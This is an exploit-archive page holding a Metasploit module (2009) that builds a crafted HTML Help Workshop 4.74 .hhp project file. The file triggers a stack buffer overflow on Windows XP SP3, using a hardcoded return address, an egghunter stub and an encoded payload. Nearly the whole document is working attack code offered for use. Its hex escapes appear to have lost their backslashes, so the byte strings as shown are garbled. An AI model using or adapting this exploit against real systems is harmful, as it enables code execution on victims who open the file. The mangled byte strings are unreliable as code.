[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit (Meta)
# Published : 2009-12-07
# Author : loneferret
# Previous Title : Audio Workstation 6.4.2.4.3 pls Buffer Overflow (meta)
# Next Title : gAlan 0.2.1 Buffer Overflow 0day Exploit
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack overflow in HTML Help Workshop 4.74
By creating a specially crafted hhp file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'loneferret, original by Encrypt3d.M!nd' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00",
'StackAdjustment' => -4800,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI x93x1fx40x00
],
'Privileged' => false,
'DisclosureDate' => 'Dec 05 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'Devil.hhp']),
], self.class)
end
def exploit
sploit = "x5Bx4Fx50x54x49x4Fx4Ex53x5Dx0Dx0Ax43x6Fx6Ex74x65"
sploit << "x6Ex74x73x20x66x69x6Cx65x3Dx41x0Dx0Ax49x6Ex64x65x78x20x66x69x6Cx65x3D"
sploit << "x41" * 224
sploit << "x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8x69x72x61x71x8BxFAxAFx75xEAxAFx75xE7xFFxE7"
sploit << "x42" * 24
sploit << [target.ret].pack('V')
sploit << "x0dx0ax0dx0a"
sploit << "x5Bx46x49x4Cx45x53x5Dx0D"
sploit << "x0dx0a"
sploit << "x41" * 16
sploit << "x69x72x61x71x69x72x61x71"
sploit << payload.encoded
sploit << "x41" * 4000
hhp = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(hhp)
end
end